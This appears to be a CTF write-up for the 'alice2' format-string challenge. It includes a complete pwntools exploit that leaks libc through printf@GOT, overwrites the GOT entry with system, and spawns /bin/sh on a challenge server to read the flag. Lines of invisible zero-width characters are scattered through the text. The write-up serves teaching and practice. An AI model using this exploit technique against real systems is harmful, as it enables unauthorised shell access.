← Back to Writeups
CUSTOMMediumpwn

pwn6fmt_alice2 (alice-alpha)

XESXOR9/2/20265 min read
#pwn#custom#medium#format_string_leak#got_overwrite#hn_hhn_split_write#libc_base_resolution#printf_to_system#linux

pwn6fmt_alice2 (alice-alpha)

Platform: pwn_spbctf | Category: pwn | Type: Challenge | Difficulty: Medium | OS: Linux | Author: XESXOR | Date: 2026-06-18 | Status: Solved Techniques: format_string_leak, got_overwrite, hn_hhn_split_write, libc_base_resolution, printf_to_system

Summary

Task: non-PIE 'ALICE' chatbot with a format-string bug in add_advise that calls printf(buf) on raw read() input; a decoy get_flag option is a red herring. Solution: fmt leak of printf@GOT to resolve the Debian libc-2.31 base, then a single %hn/%hhn write overwrites printf@GOT with system, and the next add_advise sends /bin/sh for a shell.

pwn6fmt_alice2 (alice-alpha) — pwn_spbctf

Description

Разработчики ИИ //АЛИСА// опубликовали новую версию. Обещали поправить ошибки и добавить новый функционал.

(The AI //ALICE// developers published a new version. They promised to fix bugs and add new functionality.)

Files: alice2.elf + libc-2.31.so. Category fmt, tier pwn6 ("Добор"). Author: Lex (@b1n4r9). Remote: nc 109.233.56.90 11703.

The "new functionality" hinted at in the description is the planted format-string vulnerability.

Analysis

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

checksec on alice2.elf:

  • NON-PIE (base 0x400000) → GOT and symbols are at fixed addresses.
  • NX enabled, no stack canary.
  • Partial RELRO → the GOT is writable, so a GOT-overwrite is possible.
  • Not stripped.

Program structure (an "ALICE" chatbot):

  • main → init (prints a banner; sprintfs the global formated_name = "unknown > ") → menu.
  • menu is a loop built on scanf("%d") + a jump table. Options:
    • [1] change_name
    • [2] get_advise
    • [3] add_advise
    • [4] get_flag — DECOY: returns "this functionality will be in the next version v0.002f". NOT the real flag.
    • [5] exit ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

The bug — add_advise @ 0x401540:

c
read(0, buf /* rbp-0x40 */, 0x40);
...
printf(buf);              // @ 0x4015bf — FORMAT STRING, buf is user-controlled

printf is called directly on the 0x40-byte read() buffer. (A secondary fmt vector exists via printf(formated_name) in change_name/show_menu/get_advise with the user-set name, but add_advise is the clean primitive.)

Because the menu loops, we get multiple fmt invocations → leak, then GOT-overwrite, then trigger.

Format-string offset = 6: AAAAAAAA.%6$p prints 0x4141414141414141 at slot 6, so our buffer begins at parameter slot 6. Planted 8-byte pointers therefore land at slot 7, 8, ... ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

libc matters. The provided libc-2.31.so is the Debian build:

  • md5 = 74f2d3062180572fc8bcd964b587eeae
  • system = 0x48f20, printf = 0x56db0

This is NOT the Ubuntu 1ec728d build (whose system = 0x55410). Using the wrong offset silently breaks the exploit. Always resolve offsets against the exact provided libc.

Solution

Three stages, all through the looping add_advise menu:

1. Leak libc via printf@GOT

Place the %s specifier before the planted GOT address so its leading NUL bytes don't truncate the read:

payload = b'%7$s.AAA' + p64(0x404040)   # printf@GOT

The address sits at slot 7 (right after the 8-byte slot-6 prefix %7$s.AAA). printf dereferences printf@GOT and prints the live libc printf address. Then:

libc_base = leaked_printf - libc.symbols['printf']   # page-aligned → verified

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

What failed: putting the address first (p64(GOT) + b'%6$s') truncated the leak because the GOT pointer 0x0000000000404040 starts with NUL bytes and printf("%s") stops at the first NUL. Fix: emit the %s specifier first, address afterward at slot 7.

2. Overwrite printf@GOT → system

A single format-string write splits system's low 3 bytes across the GOT entry, all within the 0x40 buffer:

  • %hn writes the low 2 bytes at printf@GOT+0
  • %hhn writes byte 3 at printf@GOT+2

Writes are ordered by ascending cumulative %c count, and the two target pointers are appended at 8-aligned slots after the format string (see build_overwrite). ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

3. Trigger

The overwrite happens during that printf(buf). On the next add_advise, printf(buf) is now system(buf):

sendline('3'); send('/bin/sh\x00'...)   # system("/bin/sh") → shell

Then cat /flag.txt.

python
#!/usr/bin/env python3
# pwn6fmt_alice2 - format string in add_advise -> printf(buf). Overwrite printf@GOT->system.
from pwn import *
import time

context.arch = 'amd64'
HOST, PORT = '109.233.56.90', 11703
elf  = ELF('alice2.elf', checksec=False)
libc = ELF('libc-2.31.so', checksec=False)   # Debian build, md5 74f2d30..., system=0x48f20
‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

PRINTF_GOT = elf.got['printf']      # 0x404040
SAVED = 'Сообщение сохранено: '.encode('utf-8')

def add_advise(p, payload):
    p.sendline(b'3')
    assert len(payload) <= 0x40
    p.send(payload.ljust(0x40, b'\x00')[:0x40])

def leak_libc(p):
    add_advise(p, b'%7$s.AAA' + p64(PRINTF_GOT))   # %s BEFORE the address (slot 7)
    data = p.recvuntil(b'[5]', timeout=8)
    idx = data.find(SAVED)
    chunk = data[idx+len(SAVED):]
    leakbytes = chunk.split(b'.AAA')[0]
    leak = u64(leakbytes[:6].ljust(8, b'\x00'))
    return leak, leak - libc.symbols['printf']
‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

def build_overwrite(system_addr):
    low2 = system_addr & 0xffff
    b2   = (system_addr >> 16) & 0xff
    pairs = sorted([(low2, 'h'), (b2, 'hh')], key=lambda x: x[0])
    for s1 in range(7, 13):
        s2 = s1 + 1
        v1, t1 = pairs[0]; v2, t2 = pairs[1]
        c1 = v1; c2 = v2 - v1
        fmt = b''
        if c1 > 0: fmt += b'%' + str(c1).encode() + b'c'
        fmt += b'%' + str(s1).encode() + b'$' + t1.encode() + b'n'
        if c2 > 0: fmt += b'%' + str(c2).encode() + b'c'
        fmt += b'%' + str(s2).encode() + b'$' + t2.encode() + b'n'
        a1 = PRINTF_GOT if pairs[0][1] == 'h' else PRINTF_GOT + 2
        a2 = PRINTF_GOT if pairs[1][1] == 'h' else PRINTF_GOT + 2
        need = (s1 - 6) * 8
        if len(fmt) <= need:
            payload = fmt.ljust(need, b'\x00') + p64(a1) + p64(a2)
            if len(payload) <= 0x40:
                return payload
    raise RuntimeError('cannot fit overwrite payload')
‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

def main():
    p = remote(HOST, PORT)
    p.recvuntil(b'[5]', timeout=8); time.sleep(0.2)
    leak, base = leak_libc(p)
    log.success('printf leak = %#x' % leak)
    log.success('libc base   = %#x (aligned=%s)' % (base, base % 0x1000 == 0))
    system = base + libc.symbols['system']    # base + 0x48f20

    add_advise(p, build_overwrite(system))    # printf@GOT -> system
    try: p.recvuntil(b'[5]', timeout=4)
    except Exception: pass

    p.sendline(b'3')
    p.send(b'/bin/sh\x00'.ljust(0x40, b'\x00'))   # printf(buf) is now system(buf)
    time.sleep(1)
    p.sendline(b'cat /flag.txt; cat flag.txt')
    p.interactive()
‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

if __name__ == '__main__':
    main()

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍